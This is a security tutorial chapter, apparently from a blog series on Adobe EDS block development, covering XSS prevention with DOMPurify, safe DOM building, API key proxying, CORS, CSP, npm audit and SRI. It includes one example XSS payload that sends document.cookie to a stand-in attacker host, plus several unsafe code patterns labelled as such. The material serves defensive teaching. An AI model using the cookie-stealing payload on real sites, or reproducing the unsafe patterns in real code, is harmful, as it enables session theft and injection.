Security in EDS Blocks
Security for EDS blocks. Covers XSS prevention, safe DOM building, API key handling, CORS, Content Security Policy, dependency auditing, and OWASP risks in the EDS context.
Content Objective
This chapter covers:
- Why
innerHTMLin block JS is the primary XSS vector in EDS - How to use DOMPurify (already in the EDS boilerplate) to sanitize content
- Safe DOM construction patterns that eliminate XSS by design
- Why API keys must never appear in client-side block JS
- How to configure CORS correctly for external API calls from blocks
- What Content Security Policy EDS sets and how to extend it
- Dependency security: auditing
package.jsonfor CVEs - OWASP Top 10 mapped to EDS-specific risks
- The security checklist for every block before it ships to production
Why Security in EDS Requires Extra Attention
In classic AEM, the Core Components framework handles most security concerns automatically:
- HTL escapes all variables by default (XSS protection)
- Sling Model values are type-safe
- Content policies enforce what is allowed
- AEM's security framework validates inputs at the servlet layer
In EDS, none of that exists. Your decorate() function is raw JavaScript operating directly on the DOM. There is no framework between your code and the browser. Every security decision is made — or skipped — in your block JS.
For enterprise projects, especially in regulated industries like healthcare, financial services, or government, security is not optional. A single XSS vulnerability in a block can expose patient data, session tokens, or enable phishing at scale on a trusted domain.
OWASP Top 10 in the EDS Context
The OWASP Top 10 is the globally accepted baseline for web application security risks. Here is how each maps to EDS block development:
| OWASP Risk | EDS Risk Level | EDS-Specific Vector |
|---|---|---|
| A01 Broken Access Control | Medium | Content visible to wrong audience (client-side gating is weak) |
| A02 Cryptographic Failures | High | API keys hardcoded in block JS (sent to every browser) |
| A03 Injection (XSS) | Critical | innerHTML with content from JCR/DA or query params |
| A04 Insecure Design | Medium | Trusting URL params for content decisions |
| A05 Security Misconfiguration | Medium | CORS wildcard on API endpoints, missing CSP headers |
| A06 Vulnerable Components | Medium | Outdated npm dependencies in package.json |
| A07 Auth/Identity Failures | Low (EDS) | EDS delivery is public; auth is external |
| A08 Software Integrity | Low | CDN-loaded third-party scripts without SRI |
| A09 Logging Failures | Low | Not applicable to EDS delivery layer |
| A10 SSRF | Low | EDS is client-side only; no server-side requests |
The three that EDS developers must focus on: A02 (API keys), A03 (XSS via innerHTML), A06 (outdated packages).
XSS Prevention: The innerHTML Problem
Cross-Site Scripting (XSS) in EDS blocks happens almost exclusively through innerHTML assignment with content that includes user-controlled or CMS-authored strings.
Why Authored Content Can Be a Vector
Content in JCR or DA is authored by humans. Even trusted authors can accidentally (or maliciously) insert script content into richtext fields:
<!-- Authored in DA richtext cell -->
<script>document.location='https://attacker.com/?c='+document.cookie</script>
If your block does:
const description = block.querySelector('.richtext-cell').innerHTML;
container.innerHTML = `<div class="description">${description}</div>`;
The script executes.
The Three Safe Approaches
Approach 1: Use DOMPurify (already in the EDS boilerplate)
The EDS boilerplate ships with scripts/dompurify.min.js. Use it to sanitize any richtext content before inserting into the DOM:
import DOMPurify from '../../scripts/dompurify.min.js';
export default function decorate(block) {
const row = block.firstElementChild;
const cells = [...row.children];
// Raw HTML from authored content
const rawTitle = cells[0]?.innerHTML || '';
const rawDescription = cells[1]?.innerHTML || '';
// Sanitize before inserting
const safeTitle = DOMPurify.sanitize(rawTitle, { ALLOWED_TAGS: ['strong', 'em', 'br'] });
const safeDescription = DOMPurify.sanitize(rawDescription, {
ALLOWED_TAGS: ['p', 'strong', 'em', 'ul', 'ol', 'li', 'br', 'a'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
block.innerHTML = `
<div class="card-title">${safeTitle}</div>
<div class="card-description">${safeDescription}</div>
`;
}
DOMPurify configuration options:
// Allow nothing — strips all HTML, keeps text only
DOMPurify.sanitize(input, { ALLOWED_TAGS: [], ALLOWED_ATTR: [] });
// Allow safe formatting only
DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'br'],
ALLOWED_ATTR: [],
});
// Allow links but force safe attributes
DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['a', 'p', 'ul', 'ol', 'li', 'strong', 'em'],
ALLOWED_ATTR: ['href'],
FORCE_BODY: true,
});
// Strip event handlers and JavaScript URLs, keep structure
DOMPurify.sanitize(input, {
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
FORBID_TAGS: ['script', 'style', 'iframe'],
});
Rule: When to use DOMPurify — any time content came from authored input (JCR, DA, external API, URL parameters) and you are inserting it as HTML. If you are inserting it as text only, use textContent instead.
Approach 2: Use textContent for Plain Text Fields
For fields that contain no formatting (labels, titles, short strings), never use innerHTML. Use textContent:
// BAD — if title contains <script>, it executes
const titleEl = document.createElement('h1');
titleEl.innerHTML = authoredTitle;
// GOOD — browser treats the entire string as literal text, never executes it
const titleEl = document.createElement('h1');
titleEl.textContent = authoredTitle;
textContent is completely XSS-safe by definition. Use it for every field where you don't need HTML formatting.
Approach 3: Build DOM with createElement
Building the DOM programmatically with createElement and setAttribute eliminates XSS entirely because you're not parsing HTML at all:
// XSS-safe by construction — no HTML parsing
function createCard(title, description, href) {
const article = document.createElement('article');
article.classList.add('card');
const heading = document.createElement('h2');
heading.classList.add('card-title');
heading.textContent = title; // textContent = safe
const body = document.createElement('div');
body.classList.add('card-body');
// DOMPurify for richtext content
body.innerHTML = DOMPurify.sanitize(description);
const link = document.createElement('a');
link.classList.add('card-link');
link.textContent = 'Read more';
// Validate URL before setting href
if (isValidUrl(href)) {
link.href = href;
}
link.setAttribute('rel', 'noopener noreferrer');
article.append(heading, body, link);
return article;
}
URL Validation Before href Assignment
href attributes set to javascript: URIs are a classic XSS vector:
// BAD — authored href could be "javascript:stealCookies()"
link.href = authoredHref;
// GOOD — validate URL protocol before assignment
function isValidUrl(url) {
try {
const parsed = new URL(url, window.location.origin);
return ['http:', 'https:', ''].includes(parsed.protocol)
|| url.startsWith('/');
} catch {
return false;
}
}
if (isValidUrl(authoredHref)) {
link.href = authoredHref;
} else {
link.href = '#';
console.warn(`[block] Invalid URL blocked: ${authoredHref}`);
}
API Keys: Never in Client-Side Block JS
This is A02 (Cryptographic Failures) from OWASP. It is the most common mistake EDS developers make when connecting blocks to external APIs.
The Mistake
// blocks/product-search/product-search.js
// NEVER DO THIS — API key is sent to every browser that views this page
const response = await fetch(
`https://api.algolia.com/1/indexes/products/query`,
{
headers: {
'X-Algolia-API-Key': 'abc123verysecretkey', // EXPOSED
'X-Algolia-Application-Id': 'MY_APP_ID',
},
body: JSON.stringify({ query: searchTerm }),
method: 'POST',
}
);
Anyone who opens DevTools Network tab sees this key. It can be extracted and used to make unlimited API calls billed to your account or to access non-public data.
Safe Patterns
Pattern 1: Use search-only / public keys
Most search APIs (Algolia, Typesense, Elasticsearch) have separate read-only "search keys" that are designed to be public. Use these in client-side code:
// Algolia search-only key — designed to be public
const response = await fetch(
`https://${appId}-dsn.algolia.net/1/indexes/products/query`,
{
headers: {
'X-Algolia-API-Key': SEARCH_ONLY_KEY, // public key, read-only
'X-Algolia-Application-Id': appId,
},
method: 'POST',
body: JSON.stringify({ query }),
}
);
Pattern 2: Proxy via AEM Sling Servlet (xwalk)
For APIs that require private keys:
// blocks/data-block/data-block.js
// Calls your AEM servlet — key stays server-side
const response = await fetch('/api/products?' + new URLSearchParams({ query }));
const data = await response.json();
// AEM Sling Servlet holds the private key via OSGi config
@SlingServletPaths("/api/products")
public class ProductSearchServlet extends SlingSafeMethodsServlet {
@Reference
private ProductSearchService searchService; // key in OSGi config
@Override
protected void doGet(SlingHttpServletRequest req, SlingHttpServletResponse resp) {
String query = req.getParameter("query");
// Validate and sanitize query
if (query == null || query.length() > 200) {
resp.setStatus(400);
return;
}
// Private API call happens server-side
List<Product> results = searchService.search(query);
// Return clean JSON
}
}
Pattern 3: GitHub Actions Secret for build-time injection
For data that doesn't change per-user and can be baked into a JSON sheet:
# .github/workflows/refresh-data.yml
- name: Fetch and write data sheet
env:
API_KEY: ${{ secrets.PRIVATE_API_KEY }} # never in code
run: node scripts/fetch-data.js
The script writes data to a JSON file that EDS serves as a public sheet — no key ever reaches the browser.
CORS: External API Calls from Blocks
When a block calls an external API using fetch(), the browser enforces CORS (Cross-Origin Resource Sharing). If the API server does not send the correct Access-Control-Allow-Origin header, the request fails.
Understanding CORS in EDS
Your EDS page is served from *.aem.page or *.aem.live. When your block calls https://api.external.com, the API server must include:
Access-Control-Allow-Origin: https://main--eds-poc--org.aem.live
or
Access-Control-Allow-Origin: *
Common CORS Mistake: Wildcard Origin in Preflight
For requests with custom headers (like API keys), the browser sends a preflight OPTIONS request. The API must handle this:
Request:
OPTIONS https://api.external.com/data
Origin: https://main--eds-poc--org.aem.live
Access-Control-Request-Method: GET
Access-Control-Request-Headers: x-api-key
Required response:
Access-Control-Allow-Origin: https://main--eds-poc--org.aem.live
Access-Control-Allow-Methods: GET
Access-Control-Allow-Headers: x-api-key
If you don't control the API server and it doesn't support CORS, you must proxy through AEM (Pattern 2 above) or use a serverless function. You cannot bypass CORS from client-side code — it is a browser security control, not a server misconfiguration you can work around.
EDS-Specific CORS Headers
EDS CDN sends specific response headers. You can add custom headers via the CDN configuration if needed for your domain:
# Redirect or header configuration is done through Adobe support
# or via the EDS CDN headers feature (helix-query.yaml adjacent config)
Content Security Policy
EDS does not configure a Content Security Policy by default. For enterprise projects, especially healthcare, a CSP provides defense-in-depth against XSS.
Adding CSP via head.html
<!-- head.html -->
<meta http-equiv="Content-Security-Policy"
content="
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https://main--eds-poc--org.aem.live https://*.hlx.page;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.your-domain.com;
frame-ancestors 'self';
">
CSP directives relevant to EDS:
| Directive | Purpose | EDS Consideration |
|---|---|---|
default-src 'self' | Fallback for all resources | Blocks all external resources not explicitly allowed |
script-src | Allowed script sources | Must include GTM, analytics, chat widget domains |
style-src 'unsafe-inline' | EDS inlines critical CSS | Required — EDS uses inline styles for LCP optimization |
img-src | Allowed image origins | Must include *.hlx.page, *.aem.live, *.aem.page |
connect-src | Allowed fetch/XHR destinations | List all external API endpoints |
frame-ancestors | Who can embed this page | Use 'none' to prevent clickjacking |
Important: 'unsafe-inline' for styles is required because EDS's LCP optimization injects critical CSS inline. You cannot remove this without breaking EDS performance.
Dependency Security
The EDS boilerplate has a minimal package.json — primarily linting tools. But projects accumulate dependencies.
Audit Regularly
# Check for known CVEs in your dependencies
npm audit
# Auto-fix low-risk CVEs
npm audit fix
# Show detailed report
npm audit --json | jq '.vulnerabilities'
The DOMPurify Dependency
The boilerplate ships scripts/dompurify.min.js as a vendored file (copied into the repo, not installed via npm). This is intentional — it avoids supply chain risk from CDN-hosted versions.
Never load DOMPurify from a CDN in block JS:
// DANGEROUS — relies on CDN integrity, attacker can modify it
import DOMPurify from 'https://cdn.jsdelivr.net/npm/dompurify/dist/purify.min.js';
// CORRECT — use the vendored version in your repo
import DOMPurify from '../../scripts/dompurify.min.js';
Keep the vendored version updated: check DOMPurify releases quarterly and update the file.
Subresource Integrity for Third-Party Scripts
If you load any third-party script from a CDN in delayed.js, add Subresource Integrity (SRI):
// scripts/delayed.js
import { loadScript } from './aem.js';
// With SRI — browser verifies the hash before executing
const script = document.createElement('script');
script.src = 'https://cdn.example.com/library.min.js';
script.integrity = 'sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC';
script.crossOrigin = 'anonymous';
document.head.append(script);
Generate SRI hashes at https://www.srihash.org or with:
curl https://cdn.example.com/library.min.js | openssl dgst -sha384 -binary | base64
Security Checklist for Every Block
Before any block ships to production:
DOM Safety:
[ ] All user/authored HTML content passed through DOMPurify before innerHTML
[ ] Plain text fields use textContent, never innerHTML
[ ] URL values validated with isValidUrl() before assigning to href/src
[ ] No eval(), Function(), setTimeout(string), setInterval(string)
[ ] No document.write()
API Security:
[ ] No API keys, tokens, or secrets in block JS files
[ ] All private keys proxied through AEM servlet or external function
[ ] Public keys are genuinely read-only (search keys, not admin keys)
External Requests:
[ ] CORS tested against production domain (*.aem.live), not just localhost
[ ] External API calls use HTTPS only (never HTTP)
[ ] User input sanitized before including in query parameters
[ ] Query parameters length-validated before sending to APIs
Dependencies:
[ ] npm audit shows no high/critical CVEs
[ ] DOMPurify version is current (check quarterly)
[ ] Third-party scripts in delayed.js have SRI hashes (if CDN-loaded)
[ ] No dynamic script injection based on URL parameters
Content Security:
[ ] links with target="_blank" have rel="noopener noreferrer"
[ ] No inline event handlers in rendered HTML (onclick="...", etc.)
[ ] frame-ancestors CSP directive set if page should not be embeddable
Quick Reference: Safe vs Unsafe Patterns
// ❌ UNSAFE — innerHTML with unvalidated content
block.innerHTML = `<h1>${authoredTitle}</h1>`;
// ✅ SAFE — textContent for plain text
const h1 = document.createElement('h1');
h1.textContent = authoredTitle;
// ❌ UNSAFE — innerHTML with richtext from CMS
container.innerHTML = authoredRichtext;
// ✅ SAFE — DOMPurify for richtext
container.innerHTML = DOMPurify.sanitize(authoredRichtext);
// ❌ UNSAFE — API key in block JS
fetch(url, { headers: { Authorization: 'Bearer abc123secret' } });
// ✅ SAFE — proxy through backend, or use public search-only key
fetch('/api/search?' + new URLSearchParams({ q: query }));
// ❌ UNSAFE — unvalidated href
link.href = userProvidedUrl;
// ✅ SAFE — validated href
link.href = isValidUrl(userProvidedUrl) ? userProvidedUrl : '#';
// ❌ UNSAFE — dynamic script loading from user input
const src = new URLSearchParams(location.search).get('script');
document.head.innerHTML += `<script src="${src}"></script>`;
// ✅ SAFE — never load scripts from URL parameters
Key Takeaways
- EDS has no security framework — every security decision is in your block JS; nothing is automatic
innerHTMLwith authored content is the #1 XSS risk — use DOMPurify (already in boilerplate) ortextContent- DOMPurify is in
scripts/dompurify.min.js— import from there, never from a CDN - API keys in block JS are sent to every browser — use read-only keys, proxy private keys through AEM or serverless functions
- Validate URLs before assigning to href — block
javascript:and non-http(s) protocols - CORS is enforced by the browser — test against
*.aem.livedomain, not localhost - Run
npm auditbefore every production deploy — update DOMPurify quarterly - Add
rel="noopener noreferrer"to alltarget="_blank"links — prevents tab-napping attacks - CSP is not set by EDS by default — configure it in
head.htmlfor enterprise projects
Next Steps
In the next chapter, we cover Accessibility — Building WCAG AA Compliant EDS Blocks. In AEM, Core Components handle much of the accessibility baseline. In EDS, every accessibility decision is in your decorate() function. We cover semantic HTML requirements, ARIA, keyboard navigation, focus management, and the WCAG AA checklist for blocks.
Enjoyed this chapter?
Get an email when I publish the next chapter. No spam — just new technical deep-dives.
Comments
Share feedback or questions about this blog post.
No comments yet. Be the first to share your thoughts.